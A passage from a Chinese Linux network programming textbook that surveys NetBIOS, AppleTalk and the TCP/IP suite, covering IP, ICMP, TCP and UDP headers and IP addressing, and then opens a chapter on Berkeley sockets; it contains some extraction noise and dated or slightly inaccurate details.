分配编号。用于通知发送方接收方有多少连接可使用的缓冲器,此外这个编号还 帮助实现连接的流量控制,使发送方和接收方同步。 5.4 Net BIOS 概述 网络基本输入/输出系统(Net BIOS)是高级应用程序接口,被设计成程序员使用 IBM PC 网络能建立网络应用程序。它是由 Sytek 公司开发的,起初在 IBM PC 网络适配器卡上实 现。1984 年被 IBM 引入。Microsoft 使用它来配合它的 MS Net 产品。后来 IBM 提供了仿 真程序,使 Net BIOS 能与 NIC 配合,同 Token-Ring 网络一起工作。 当今几乎所有的网络公司,包括 IBM、Novell、Microsoft 和 3Com,都支持 Net BIOS 接口。特别是 IBM 的 LAN Server 操作系统和 Microsoft 的 LAN Manager。Novell 公司通过 使用 IPX 协议栈提供 Net BIOS 支持。3Com 的实现是使用它的 XNS 协议栈。无论怎样实 现,支持网络分布应用程序的 Net BIOS 接口都保持了一致性。 目前已经使用 Net BIOS 接口编写了大量的网络应用程序。由于它的流行性,估计将继 续是一种开发分布应用程序的有力工具。 Net BIOS 不是一个协议,更确切的说它是一个接口。它使网络应用程序和一组命令相 第五章通信协议简介 - 125 - 结合,从而建立通信对话、发送、接收数据和命名网络对象(目标)。正如从 OSI 模型上 所看到的,Net BIOS 提供了对话层接口。在这层上 Net BIOS 能提供可靠的,面向连接的 数据传输流,并识别网络上站点的名字系统。此外 Net BIOS 还提供了非连接型数据报文服 务。但 Net BIOS 不提供路由选择服务,因而使构造网络变得很困难。 为了分配和管理网络上站点的名字,Net BIOS 提供了一组命令,名字长 16 字符,一 个名字表内可以有 1-254 个名字。一个被称为 Net BIOS_NAME_NUMBER_1 的名字总存在 于名字表内,该名字的前 10 个字节是“ 0“ ,后 6 个字节(48 位)是网络接口卡的地址。 Net BIOS 使得网络上两个命名的对象能建立连接。 Net BIOS 名字可以是某一对象的唯一名字或小组名字。前者在整个网络是唯一的,不 能被复制。小组名字可由网络上较多的站点使用。 当应用程序希望同远程应用程序建立联系时,使用远程站点的名字启动调用,然后使 用建立的对话在应用程序之间交换数据。 5.5 Apple Talk 概述 Apple Computer 于 1983-1984 年开始设计一组称为 Apple Talk 的通信协议。目的是将 它们的新型 Macintosh 个人计算机系统(包括打印机、打印服务器、文件服务器、路由器 和网关)连到其它厂家生产的计算机系统。 起初 Apple Talk 的主要应用是将图形计算机连到新型 Apple Laser Writer 激光打印机。 从那时起在先进的软件和硬件配合下,Apple Talk 所提供的较灵活的基本网络支持发回了 重要作用,使桌面排版系统得到很大改进。 每台 Macintosh 和 Laser Writer(激光打印机)都具有适于 Apple Talk 联网结构的内部 硬件支持。此外,系统软件还包括网络继承化支持。 Apple Talk 被设计成能以多种方式使外部设备联到 Machitosh 层。它是一个完全开放型 的的,可扩展的网络结构,支持各种新型的物理网络计数和新型协议栈。将本地网络联入 互联网可实现广域的大量计算机和外部设备的连接。 此外,Apple Talk 还被设计成支持同级间联网。在每个网络节点上实现这种服务,以 分布方式操作。 Apple Talk 网络设计吸收了 Macintosh 的总体设计思想。与网络互相作用的各个用户是 尽可能透明的,以便使标准操作能使用网际上的多种共享资源。尤其重要的是用户能在它 们的台式机上安装卷,通过使用标准选择等操作能利用文件。 网络节点的安装被设计的相当灵活,用户只需连接物理链路,大部分配置由系统软件 自动管理。 该公司于 1989 年 6 月引入了 Apple Talk Phase 2(第 2 阶段),作为现有的 Apple Talk 的向下兼容扩展。通过启动网络上的大量节点(工作站、打印机、服务器),Apple Talk Phase 2 提供了较大的全企业级网络支持。原有的 Apple Talk 最多支持一个网络上的 254 个节点, 而 Phase 2 能启动与一个网络相关联的多个子网,每个子网最多包括 253 个节点。 Apple Talk Phase 2还提供对 Local Talk, Ether Talk 和 Token Talk 的支持(Local Talk 是 Apple 的物理层和数据链路层规范,Ether Talk 和 Token Talk 分别是 Ethernet 和 Token Ring 的 Apple 实现)。Apple Talk 网际路由器被修改得能启动多达 8 个 Apple Talk 网络的连接(以 任何 Local Talk, Ether Talk 和 Token Talk 的混合方式)。 开发者们已经使 Apple Talk 能支持多种类型的分布应用程序,支持 Apple MAC、IBM PS/2 和 PC 兼容机,运行 UNIX 的工作站和 Apple IIGS。这些应用程序包括文件共享、打 印支持和电子报文。此外这些应用程序也可使用在 Apple Talk 网络连接的 DEC 小型机上。 - 126 - Linux网络编程 在 Linux 内核中也有对 Apple Talk 的支持。 5.6 TCP/IP 概述 最近几年来分布处理的发展趋势已经从原来的主要依赖大中型机,转变成由 LAN 连接 的 PC 机。这些 PC 机网络往往由许多不同类型的计算机和其它多售主设备组成。这种情况 给一度曾支配大型主机通信的专有通信协议带来了严重冲击。专有协议只允许同一厂家的 计算机系统之间互相通信。例如,DEC 的计算机只能和 DECnet 通信;IBM 主机只能与 SNA 通信;Apple 计算机只能与 Apple Talk 通信。 当今的分布式的 LAN 需要把一个组织的大型机、小型机、企业级 LAN 和公共数据网 连在一起。无疑这将对开发互联多种不兼容系统的非专有协议是一个很大的促进。 当前出现的主要非专有网际互联产品是 TCP/IP 和 OSI 协议。OSI 七层协议已经在国际 上通用。TCP/IP 许多年来就一直被人们所采用,而且越来越成熟,已称为被广泛接收的协 议。据不完全同级,目前世界上已有大约 40 多个国家使用这种协议连接了 5000 多个网络, 几十万台主机。这充分反映了 TCP/IP 的成熟和广泛的可用性。大多数类型的计算机环境都 有 TCP/IP 产品,它提供了文件传输、电子邮件、终端仿真、传输服务和网络管理。 从长远的观点看,OSI 标准最终会超过 TCP/IP,提供较完善的目录和网络管理服务。 但是 OSI 承诺的网际互联设备目前还只限于 LAN 标准的 IEEE802 系列。虽然 OSI 的报文 处理服务(MHS)或 X.400 电子邮件;生产自动协议;文件传送、存储和管理(FTAM) 以及虚拟终端(VT)能以各种不同形式采用,但不同厂家的产品是不能互相操作的。这种 情况有利于 TCP/IP 的流行。 5.6.1 TCP/IP结构模型 TCP/IP 实际上一个一起工作的通信家族,为网际数据通信提供通路。为讨论方便可将 TCP/IP 协议组大体上分为三部分: 1.Internet 协议(IP) 2.传输控制协议(TCP)和用户数据报文协议(UDP) 3.处于 TCP 和 UDP 之上的一组协议专门开发的应用程序。它们包括:TELNET,文 件传送协议(FTP),域名服务(DNS)和简单的邮件传送程序(SMTP)等许多协议。 图 5-1 TCP/IP 和 OSI 网络模型的分层图 以下分别简介这三部分: 第五章通信协议简介 - 127 - 第一部分也称为网络层。包括 Internet 协议(IP)、网际控制报文协议(ICMP)和地址 识别协议(ARP). Internet 协议(IP)。 该协议被设计成互联分组交换通信网,以形成一个网际通信环境。它负责在源主机和 目的地主机之间传输来自其较高层软件的称为数据报文的数据块,它在源和目的地之间提 供非连接型传递服务。 网际控制报文协议(ICMP)。 它实际上不是 IP 层部分,但直接同 IP 层一起工作,报告网络上的某些出错情况。允 许网际路由器传输差错信息或测试报文。 地址识别协议(ARP)。 ARP 实际上不是网络层部分,它处于 IP 和数据链路层之间,它是在 32 位 IP 地址和 48 位局域网地址之间执行翻译的协议。 第二部分是传输层协议。包括传输控制协议和用户数据报文协议。 传输控制协议(TCP)。 由于 IP 提供非连接型传递服务,因此 TCP 应为应用程序存取网络创造了条件,使用 可靠的面向连接的传输层服务。该协议为建立网际上用户进程之间的对话负责。此外,还 确保两个以上进程之间的可靠通信。它所提供的功能如下。 1.监听输入对话建立请求。 2.请求另一网络站点对话 3.可靠的发送和接收数据。 4.适度的关闭对话。 用户数据报文协议(UDP)。UDP 提供不可靠的非连接型传输层服务,它允许在 源和目的地站点之间传送数据,而不必在传送数据之前建立对话。此外,该协议还不使用 TCP 使用的端对端差错校验。当使用 UDP 时,传输层功能全都发回,而开销却比较低。 它主要用于那些不要求 TCP 协议的非连接型的应用程序。例如,名字服务和网络管理。 最后是应用程序部分。这部分包括 Telnet,文件传送协议(FTP 和 TFTP),简单的文 件传送协议(SMTP)和域名服务(DNS)等协议。 TCP/IP 使用了主干网络,能连接各种主机和 LAN 的多级分层结构,局部用户能方便 的联网,不致影响到整个网络系统。此外这种结构还有利于局部用户控制操作和管理。 TCP/IP 具有两个主要功能。第一是 IP 在网络之间(有时在个别网络内部)提供路由 选择。第二是 TCP 将 TP 传递的数据传送的接收主机那的适当的处理部件。 5.6.2 Internet 协议(IP) IP 的主要目的是提供子网的互联,形成较大的网际,使不同的子网之间能传输数据。 网际是由许多自治系统组成的,每个系统是一个中央管理的网络或是一系列的子网,每个 自治系统提供用于连到其它自治系统的网关。IP 规定如何连接子网和互联设备如何工作。 IP 规定包如何从一个子网路由选择到另一个子网。自治系统中的每个节点具有唯一的 IP 地址。IP 使用本身的帧头和检查来确保数据报文的正确传送。由于有维持当前路由选择 表的路由选择修改信息,从而帮助了这个过程的顺利完成。路由选择表列出了子网上各种 不同节点之间的通路和通路开销,如果个别节点之间有较多的通路,则可选择最经济的一 条。如果数据包过大,使目的地不能接收,则将它分成较小的段。当从 LAN 向 WAN 传输 数据时,包的分段是特别重要的。例如 Token-Ring LAN 能支持 4500 字节的包,而 X.25 分 组网通常只支持 128 字节的包,因此必须进行分段。 归纳起来 IP 主要有以下四个主要功能: - 128 - Linux网络编程 (1)数据传送 (2)寻址 (3)路由选择 (4)数据报文的分段 1.数据传送的基本特点(无连接的最佳努力服务) IP 层使用于经过网际传递数据的通路进入传递系统。当人们一听到 IP 这个名字时自然 会联想起将许多子网连在一起的通称为路由器的设备。IP 的确是执行路由器相关的任务。 但正如上面所提到的,IP 的功能不只是这些,它还完成许多其它工作。IP 协议运行在连接 子网的所有参与网络的站点机上,以使各个站点能将它们的数据包递交给路由器或传送给 同一网络上的其它设备。IP 协议处于数据链路层和传输层之间。 IP 的主要目的是为数据输入/输出网络提供基本算法,为高层协议提供无连接的传送服 务。这意味这在 IP 将数据递交给接收站点以前不在传输站点和接收站点之间建立对话(虚 拟链路)。它只是封装和传递数据,但不向发送者或接收者报告包的状态,不处理所遇到的 故障。这意味这如果数据链路故障或遭遇可恢复的错误时,IP 不予通知和处理。它将报文 和错误一起传出去,由高层协议(TCP)负责执行消除差错。换句话说,TCP 可能反复传 输和发送数据。 IP 将正确格式化的数据包递交给目的地站点,不期待状态相应。由于 IP 是无连接的协 议,因此它可能接收和传递发送给它的错误序列的数据。此外它还可能发送复份的数据。 提供消除差错的过程是高层协议的责任。IP 是网络传递系统的一部分。它接受并格式化数 据,以便传输到数据链路层。此外 IP 还检索来自数据链路的数据,并将它送给请求的高层。 IP 传送的信息单元被称为“ 数据报文”,这种数据报文可经过告诉网络(Ethernet Token Ring 或 FDDI)传送,当经过这类网络传送时,数据报文被组装称为包。 IP 协议不注意包内的数据类型,它所知道的一切是必须将某些称为 IP 帧头的控制协议 加到高层协议(TCP 或者 UDP)所接受的数据上,并试图把它传递给网络或者网际上的某 图 5-2 封装在 Ethernet 帧中的 IP 头 些节点。 IP 协议向主机和路由器提供应如何处理被传输或被接受的包的机制。为了了解 IP 的功 能,请观察它向包增加的控制信息(IP 头)。见图 5-2。该图表示 IP 头北包装在 Ethenet 帧 第五章通信协议简介 - 129 - 内。从中可以看到 IP 帧头在包中的位置。 图 5-2 的上面部分是 IP 帧头。这时一个 IP 数据报文的标准包头。下面我们将通过观 察 IP 数据报文中的帧头信息来研究 IP 数据报文传递的功能。各字段定义如下: VERS 是 4 位,规定网络站点所实现的 IP 当前版本。 HLEN 是 IP 头的长度,共 4 位。在实际使用中,并不是必须使用 IP 头的所有位, 所以需要该字段来指明 IP 头的长度。以 32 位表示字,IP 头的长度以字为增量变化,最短 的 IP 头是 20 字节(不包括数据和选项),因此这个字段的值是 5(20 字节=160 位;160 位 /32 位=5),也就是 5 个字。如果这个字段的值变成了 6,就等于增加了 32 位(一个字)。 服务类型 8 位,它可以细分为如下的形式: 优先权 D T R 未使用 优先权字段 3 位,可以有 0-7 的值(0 为正常值,7 为网络控制)。它允许传输站点的 应用程序向 IP 层发送数据报文的优先权。该字段与 D(时延)、T(吞吐量)和 R(可靠性 相结合,这些位向路由器表明应采取哪个路由。这个字段被称为 Type of Service(TOS)服 务类型标识符。 D 位—当设置为 1 时请求低时延 T 位—请求高吞吐量时置 1。 R 位—请求高可靠性时置 1。 例如,如果去目的地有两个以上的路由,路由器将读这个字段,以选择一个正确的路 由。由应用程序(即 Telnet 或 Ftp)设置 TOS 字段,路由器只读这种字段,不负责设置。 在读信息的基础上,路由器将选择数据报文的最佳路由。在网络上传输包以前,由运行在 主机上的 TCP/IP 应用程序设置这些位。它不要求路由器维持许多路由选择表。 总长度(16 位)。 这是以字节度量的数据报文长度。IP 数据报文的数据区可以有 65535 字节长(包 括头和数据部分)。 2.分段包 有时会出现从一个网络传出的包大得不能传入另外网络的情况。例如考虑从 TokenRing 网络(典型情况是支持 4472 字节的最大传输包)向 Ethernet LAN(只支持 1518 字节的最 大传输包)传输帧。TCP/IP 路由器必须能将较大的包破碎成较小的包。TCP 将建立适于连 接的包大小,但如果两个通信站点被多种类型的媒体分开,那么将怎样支持不同的传输包 大小呢?将包分裂成适合于 LAN 传输或异机种 WAN 路由选择是 IP 层完成的另一任务。 使用下面的字段完成这方面的工作。 识别、标志和分段偏移(分段控制,共 16 位) 这些概念表明如何分段被传送的太大的数据报文。TCP/IP 几乎可以运行在任何数据链 路上,当向不同的网络发送数据时,可以同时发送的数据的最大规模(包大小)在那些网 络上可以发生变化。Ethernet 的最大包长度为 1518 字节(包括所有的帧头),Token-Ring 是 17800 字节(16Mbps)和 4472 字节(4Mbps),FDDI 考虑到 4472 字节数据规模。任何一 个网络都可能通过最大的帧,IP 考虑了它能接受多大的包,可以满足所有这些网络之间数 据交换的需要。 每个被分裂的数据报文的 IP 头几乎是相等的。它识别哪些数据报文属于一个小组,确 保数据报文不适配。接受 IP 会使用这个字段和源 IP 地址来识别哪些数据报文应归属在一 起,使用标记完成如下任务: (1)标志出是否出现了较多的分段。 (2)是否将一份数据报文分段。 如果所经过的网络使用不同的帧长度,那么将包分段就是特别重要的。了解网桥的读 - 130 - Linux网络编程 者知道,网桥没有这种能力,如果网桥接受了太大的包(传送网络不能传递),正如 IEEE802 标准所提到的,它将这个包丢弃。一旦建立对话,大多数协议具有处理最大包长度的能力, 因此每个站点可以处理包的分段,不影响网桥操作。 总长度和分段偏移字段使 IP 能重新构造数据报文并将它传递到高层软件。总长度指出 原始包的总长度,偏移字段向正在组装包的节点指出该包偏离的开始端,此时数据处于分 段,以重新构造包. 生存时间(TTL)(8 位)。 在包的传递过程中可能会出现错误情况,引起包在网际的路由器之间不断循环。为防 止此类事件发生,因而引入了 TTL。由包的发源地设置生存事件的起始值。生存事件是一 个由路由器使用的字段,确保包不会无限的循环。在发送站点设置这个字段,然后随着数 据报文通过每个路由器而减一。当把这个字段的值减到 0 时,路由器将废弃这个包,并通 知数据报文的发源地,它不能转送这个包 协议字段。 该字段用于指出哪个较高级协议发送了帧,哪个接受协议应得到这个帧。有许多协议 可以处于 IP 的上面。就在 IP 上的协议而言,对 IP 并不是特定的。当前对通用的传输实现 是 TCP 和 UDP。该字段的目的是使 IP 知道如何正确的将包传递到它上面的正确的机构, 如果将协议字段设置成 TCP,则将包处理得适合 TCP 要求,以便进一步进行帧处理。UDP 的情况也一样。 校验和。 这是一个 16 位的循环冗余检验,目的是确保帧头的完整性。利用 IP 数据段中的数据 产生 CRC(循环冗余检验)数,由发送站点放入这个字段。当接收站点读数据时,它将计 算 CRC。如果两个 CRC 不匹配,则表示帧头有错位,将废弃包。随着数据报文被每个路 由器接收,每个路由器将重新计算校验和,这是因为数据报文由所穿过的每个路由器改变 TTL。 IP 选项字段。 选项类别确定数据是正常数据还是用作网络控制的数据。在选项类别内包含了多种选 项编号。“ 0” 的选项类别代表数据报文或网络控制包、类别“ 0” 内的好书表示必须使用严 格的源路由选择(如由源主机所规定的)。在那种情况下,包所经过的每个网关向包增加它 的 IP 地址,以便识别。选项类别“ 2” 中的编号 4 用于规定计时打印包在去目的地的途中 所执行的所有暂停。通过记录平均时延和节点的处理时间可测量总体网络性能。 IP 源和目的地地址字段。 这些字段指出包将被传递到的最终目的地 IP 地址和起始发送这个包的站点的 IP 地址 (各 32 位)。这些地址将分辨 IP 网际上的所有主机。IP 地址是非常重要的,以下详细讨论。 3.IP 寻址 Internet 地址由位于斯坦福研究所(SRI)的 Internet Network Information Center(Internet NIC)Registration Service 发放。Inter NIC 可提供给你一个相当大的主要网络地址,以识别 你的网络上的每个端点。 如果你有自己的网络,可以建立自己的网络信息中心,除非你计划连到 Internet 不需 要和 Internet 的 NIC 接洽。但即使你不连接 Internet,NIC 仍将帮助你建立你自己的网络地 址方案。如果有一天你希望同其它 TCP/IP 网络连接(例如同 Internet 连接)最好使用下面 的约定。 你大概已经看到了 32 位 IP 地址。它使用了带点的十进制数,例如 128.101.4.9。它的 二进制等效是:1000 0000 0110 0100 0000 0100 0000 1001。显然表示成点的十进制数方便 得多。 第五章通信协议简介 - 131 - Internet 地址可分成 5 类: 表 5-5 IP 地址分类 地址类型 第一个字节的十进制值 A 000-127 B 128-191 C 192-233 D 224-239 E 240-255 A 类网络地址有 128 个(支持 127)个网络,占有最左边的一个字节(8 位)。高位(0) 表示识别这种地址的类型。因此这个位不能用作地址位,剩下右边的 31 位提供2 31个端点 的寻址。这些大致中大约 1/3 已经被分配,想得到这类地址是很困难的。 B 类地址使用左边两个 8 位用来网络寻址。两个高位(10)用于识别这种地址的类型, 其余的 14 位用作网络地址,右边的两个字节(16 位)用作网络节点,大约已经分配了 5000 个 B 类地址。 C 类地址是最常见的 Internet 地址。三个高位(110)用于地址类型识别,左边三个字 节的其余 21 位用于寻址。C 类地址支持 10 4 6 × 个网络,每个网络可多达 256 端点,到目前 为止已经使用了 10 2 6 × 个 C 类地址。 D 类地址是相当新的。它的识别头是 1110,用于组播,例如用于路由器修改。 E 类地址为时延保留,其识别头是 1111。 网络软件和路由器使用子网掩码来识别报文临时呆在网络内部,还是被路由选择到其 它地方。在一个字段内“ 1” 出现表明一个字段保换所有或部分网络地址。“ 0” 表明主机地 址为止。例如,最常用的 C 类地址使用前三个 8 位来识别网络,最后一个 8 位识别主机。 因此子网掩码是 255.255.255.0。 此外还可以使用掩码建立子网,让我们来假定用户申请 B 类地址,Inter NIC 提供给用 户 179.143.XXX.XXX。如果他 11 个 LAN,每个 LAN 有 89 个工作站,那么他可以把所有 的工作站连入具有这种 B 类地址的 Internet。(Internet 地址正在变得缺少,按目前的使用增 长率,到 2002 年将全部被使用,但目前正在考虑机种地址扩充方案)。 建立一个 255.255.255.0 的掩码在第三单元那对每个 LAN 分配一固定的数,比如 1-11, 最后的单元用于每个 LAN 上的工作站(按 TCP/IP 的说法是主机)地址,因此你的地址将 有形式:179.143.(1-11).(1-254)。在最后的两个 8 位字组那怎样选择地址完全由你决定, 不一定是顺序的。 IP 数据报文是无连接的,按 TCP/IP 的说法是不可靠的。但由于 TCP 协议提供了可靠 的(确认的)面向连接的服务,因此不确认的传输是可接受的。 无连接服务的缺点是明显的,如果数据报文被破坏,或者由于缓冲器太小不能存放它 们,将会引起数据报文被放弃。此外,链路也可能故障,主机和网关可能拥塞,以及由于 不正确的实现建立了错误的路由或失效的帧头。 由于存在上述这些可能性,因此总是实现称为 Internet Control Message Protocal (ICMP)的第二协议。ICMP 可以告诉发源主机问题,并期待它解决。 4.网际控制报文协议(ICMP) 网络层上另一个重要协议是网际控制报文协议(ICMP)。IP 需要它帮助传输差错和控 制报文。ICMP 报文在不同的 IP 模块间交换。一种报文是回应请求,用于测试目的地是否 可达。此外回应请求报文还跟踪相应时间,以便确定线路的平均时延,进一步同应用程序 - 132 - Linux网络编程 的时延阙进行比较。例如,如果线路时延太长,则基于主机的应用程序可以暂停。 当网关接收它们不能转送的包时,便发送一个不可到达目的地的报文,这类报文能指 出网络或主机是不能到达的,或个别较高层协议或端口是不可到达的。如果源主机表示不 需要分段包,网关还可以回送报文,指出若不分段数据就不能转送。如果源规定的路由故 障,则可发送这类报文,说明目的地网络或主机是不可到达的。 如果由于某种原因目的地是不可到达的,则 IP 模块将通知 TCP 模块,然后 TCP 模块 通知 Telnet 虚拟终端服务,最后 Telnet 将在屏幕上显示一个报文,通知用户这个报文是不 可传递的。 另一类 ICMP 报文被称为“ 源断开” 报文。它是一种拥塞控制方法。如果在 IP 网关接 收了较多的包,超出控制能力,则可以靠 ICMP 进行摆脱,典型做法是经过缓冲器析溢出, 然后网关发出一个“ 源断开” 报文,以命令发送模块降低发送率。这些报文只是在短期生 效。接收到“ 源断开” 报文后,暂时降低了传输率。然后自动逐渐恢复一直到达原来的传 输率为止。当接到新的“ 源断开” 报文时,再次降低传输率。“ 源断开” 报文增强了基于窗 口的流量控制能力。 ICMP 报文的另一种类型仍旧是路由选择变化请求,它有几种不同的请求内容。例如, 大,当网关得知所选择的网关不是去目的地的最佳网关时,便向源主机发送一个“ 重定向 数据请求”。这些报文也用来规定重定向某些类型的服务。当网关接到一个标有生存期限的 包时,便发送一个“ 长路由通知”。当 IP 模块遇到生存期满的包时,也通知源主机。 第四类 ICMP 报文用于计时打印请求和确认。这些报文用于估算网络上的平均往复时 延,以便确定特定的程序所使用的最佳传输率和路由(传输设备)。为了估算这种往复时延 使用了四种计时打印: (1)发送方计时打印请求包。 (2)当接收方接收到包时打印包。 (3)当它发送回答报文时再次打印。 (4)当源发方接收到回答报文时打印回答报文。 计时打印(2)和(3)提供了处理这种信息需要多长时间的基本估算,计时打印(1) 和(4)提供了包在网络上传输所需时间总量。反复计算多次打印可产生平均时延。 5.6.3 传输控制协议(TCP) 原始的 TCP/IP 主机是经过电话线连接的。70 年代早期通信工具和当今的通信设备截 然不同,线路的噪声非常大,不能处理数据,因此 TCP 协议具有严格的内装差错检验算法 确保数据的完整性。下面几段文章解释了 TCP 协议的结构严格性。 TCP 是重要的传输层协议,它和 UDP 不同,传输层软件 TCP 的目的是允许数据同网 络上的另外站点进行可靠的交换。它能提供端口编号的译码,以识别主机的应用程序,而 且完成数据的可靠传输。 为了说明 TCP 结构的严格性,让我们先来打个比方。假设你正在向某人讲述一个故事。 如果那个人只是站在那里不应答你,你将不能辩明他是否了解你所讲述的内容。如果那个 人用点头之类的方式应答,那么你将知道你所讲的话他是了解的,因此能继续同他交谈。 与此相似,TCP 协议使用顺序编号和确认信息同网络上另外的站点交谈。使用顺序编号来 确定包内数据的排序并发现故障的包。因为网际上不同的包不一定会以发送它们的顺序到 达(例如,路由器废弃一系列传输包中的某一个),所以要对包中的数据进行排序,以确保 与发送的顺序相同。此外,接收站点还可能接收两个同样的包,为了进行可靠类型的通信, 使用带有确认信息的顺序编号,这种处理被称为全双工。连接的每一端都必须考虑到另一 端的需要而维持它自己的顺序编号。 第五章通信协议简介 - 133 - TCP 是面向字节的顺序协议,这意味着包内的每个字节被分配一个顺序编号,并分配 给每包一个顺序编号。分配给包那每个字节的顺序编号可以合理的重复。 TCP 的顺序编号方法与它的产生年代有关,那时的通信手段落后,不是所有的网络都 采用这种办法(使用一个独立的传输层软件)。例如:NetWare 是依靠网络层软件传输数据 NetWare 控制协议提供包的顺序编号。 为可靠的完成数据传输任务,TCP 将报文或数据分成可管理的长度并加上 TCP 头。图 5-3 表示一个 TCP 头。它描述了 TCP 头中一些主要的字段: 图 5-3 TCP 头信息 源端口(16 位)。源发站点的端口编号。 目的地端口(16 位)。接收站点的端口编号。 顺序号数(32 位)。分配给 TCP 包的编号。 除设置 SYN 位指出包的开始字节编号外,如果设置了这个位,顺序编号是最初的顺序 号数(ISN),第一个数据字节是 ISN+1。 确认编号数(32 位)。 目的地站点向源站点发送的编号。对以前所接收的包(或许多包)表明确认。该序号 指出目的地站点希望接收下一个顺序编号。一旦建立了连接就始终设置这个字段。 数据偏移(4 位)。 指出 TCP 头的长度(即 TCP 头中的 32 位字的数)。它表明数据开始和 TCP 头结束。 对于正常的 20 字节的头,这个字段设置成 0101。 保留位(6 位)。 为未来使用而保留。必须设置为 0。 控制位(6 位)。 用作个别控制位,见表 5-6。 表 5-6 控制位的取值及其含义 URG 紧急指示字段 ACK 如果设置,该包包含确认。 PSH 推入功能 RST 恢复连接。用于这种情况:一个功能是不接收连接请求 SYN 用于建立序号(同步序号)。 - 134 - Linux网络编程 FIN 数据不在从连接的发送点进入,结束总报文。 窗口(16 位)。 窗口字段也称接收窗口大小,表示在 TCP 连接上准备由主机接收的的 8 位字节的数目。 CRC 校验和(16 位)。 一个差错检验数,用于确定被接收的数据报文在传输期间是否被讹误。包括 TCP 头和 所有数据。 紧急指示字段(16 位)。 它指出了紧接紧急数据的字节的顺序编号。 选项。 长度变量,它考虑到 TCP 使用的各种选项: (1)选项表的结束 (2)无操作 (3)最大分段长度 TCP 提供的主要服务有: (1)建立、维持和终结两个进程之间的连接。 (2)可靠的包传递(经过确认过程)。 (3)编序包(可靠的数据传送)。 (4)控制差错的机制。 (5)通过使用端口,允许在个别的源和目的地主机内部实现和不同进程多重连接的能 力。 (6)使用全双工操作的数据交换。 5.6.4 用户数据报文协议 UDP 也是 TCP/IP 的传输层协议,它是无连接的,不可靠的传输服务。当接收数据时 它不向发送方提供确认信息,它不提供输入包的顺序,如果出现丢失包或重份包的情况, 也不会向发送方发出差错报文。这一点很象 IP 协议。UDP 的主要作用是分配和管理端口 编号,以正确无误的识别运行在网络站点上的个别应用程序。由于它执行功能时具有低的 开销,因而执行速度比 TCP 快。它多半用于不需要可靠传输的应用程序,例如网络管理域, 域名服务器等。 图 5-4 UDP 头 第五章通信协议简介 - 135 - 任何与 UDP 相配合作为传输层服务的应用程序必须提供确认和顺序系统,以确保包是 以发送它们的同样顺序到达。也就是说,使用 UDP 的应用程序必须提供这类服务。(参见 后面章节中关于 tftp 协议的介绍) 图 5-4 表示一个一个 UDP 头,应用数据被封装在 UDP 头那。传输层具有它自己的, 与所有其它层不相关的帧头。然后 UDP 头及其数据被封装在 IP 头内,由 IP 协议将这个数 据报文发送到数据链路层,依次下去,数据链路层又使用它的帧头包装这个报文,最后将 数据送到物理层实际传输。 当接收包时,数据链路层将把地址解释为它自己的,剥去它的帧头,将包传递给 IP 层, IP 层将根据 IP 头上的正确 IP 地址接受包。剥去它的头,最后将包交给 UDP 软件,UDP 接受包,而且必须按 UDP 头上的端口编号进行译码。 5.7 小结 本章介绍了几种 LAN 协议。其中,着重讨论了 TCP/IP 协议。 TCP/IP 现在正在被越来越多的团体用户所接收。目前 TCP/IP 已经演变成最成熟的联 网环境之一。事实上最近几年来 TCP/IP 和 UNIX 已经提供了多厂家产品互联性的模式, TCP/IP 的最大价值是它的不同平台之间提供互联性的能力。 在 OSI 真正履行自己的承诺以前,不太完善的通信协议结构,如 SNA、DECnet 和 TCP/IP 将继续流行。 - 136 - Linux网络编程 第六章 Berkel ey 套接字 6.1 引言 网络程序设计全靠套接字接受和发送信息,尽管套接字这个词好象显得有些神秘,但 其实这个概念极易理解。 这章主要讲述 Sockets API(Application Program Interface),以及一些其他的细节(比 如 Socket 的历史、数据中的常用结构等),通过这些介绍,使读者慢慢掌握 Linux 下的 Socket 编程。 6.2 概述 在开始介绍有关编程的知识之前,首先让我们来了解一些与 socket 有关的背景知识。 6.2.1 Socket 的历史 在 80 年代早期,远景研究规划局(Advanced Research Projects Agency, ARPA)资助了 佳利福尼亚大学伯克利分校的一个研究组,让他们将 TCP/IP 软件移植到 UNIX 操作系统 中,并将结果提供给其他网点。作为项目的一部分,设计者们创建了一个接口,应用进程 使用这个接口可以方便的进行通信。他们决定,只要有可能就使用以有的系统调用,对那 些不能方便的容入已有的函数集的情况,就再增加新的系统调用以支持 TCP/IP 功能。 这样做的结果就出现了插口接口(Berkeley Socket),这个系统被称为 Berkeley UNIX 或 BSD UNIX。(TCP/IP 首次出现在 BSD 4.1 版本 release 4.1 of Berkeley Software Distribution)。 由许多计算机厂商,都采用了 Berkeley UNIX,于是许多机器上都可以使用 Socket 了。 这样,Socket 接口就被广泛使用,到现在已经成为事实上的标准。(图 6-1) 6.2.2 Socket 的功能 Socket 的英文原意就是“ 孔” 或“ 插座”,现在,作为 BSD UNIX 的进程通讯机制, 取其后一种意义。日常生活中常见的插座,有的是信号插座,有的是电源插座,有的可以 接受信号(或能量),有的可以发送信号(或能量)。假如电话线与电话机之间安放一个插 座(相当于二者之间的接口,这一部分装置物理上是存在的)则 Socket 非常相似于电话插 座。 将电话系统与面向连接的 Socket 机制相比,有着惊人相似的地方。以一个国家级的电 话网为例。电话的通话双方相当于相互通信的两个进程;通话双方所在的地区(享有一个 全局唯一的区号)相当于一个网络,区号是它的网络地址;区内的一个单位的交换机相当 于一台主机,主机分配给每个用户的局内号码相当于 Socket 号(下面将谈到)。 第 6 章 berkeley 套接字 - 137 - 图 6-1 socket 接口示意图 任何用户在通话之前,首先要占有一部电话机,相当于申请一个 Socket 号;同时要知 道对方的电话号码,相当于对方有一个 Socket。然后向对方拨号呼叫,相当于发出连接请 求(假如对方不在同一区内,还要拨对方区号,相当于给出网络地址)。对方假如在场并 空闲(相当于通信的另一主机开机且可以接受连接请求),拿起电话话筒,双方就可以正 式通话,相当于连接成功。双方通话的过程,是向电话机发出信号和从电话机接受信号的 过程,相当于向 Socket 发送数据和从 Socket 接受数据。通话结束后,一方挂起电话机, 相当于关闭 Socket,撤消连接。 在电话系统中,一般用户只能感受到本地电话机和对方电话号码的存在,建立通话的 过程、话音传输的过程以及整个电话系统的技术细节对它都是透明的,这也与 Socket 机制 非常相似。Socket 利用网间网通信设施实现进程通信,但它对通信设施的细节毫不关心, 只要通信设施能提供足够的通信能力,它就满足了。 至此,我们对 Socket 进行了直观的描述。抽象出来,Socket 实质上提供了进程通信的 端点。进程通信之前,双方首先必须各自创建一个端点,否则是没有办法建立联系并相互 通信的。正如打电话之前,双方必须各自拥有一台电话机一样。 每一个 Socket 都用一个半相关描述: {协议,本地地址,本地端口} 一个完整的 Socket 则用一个相关描述 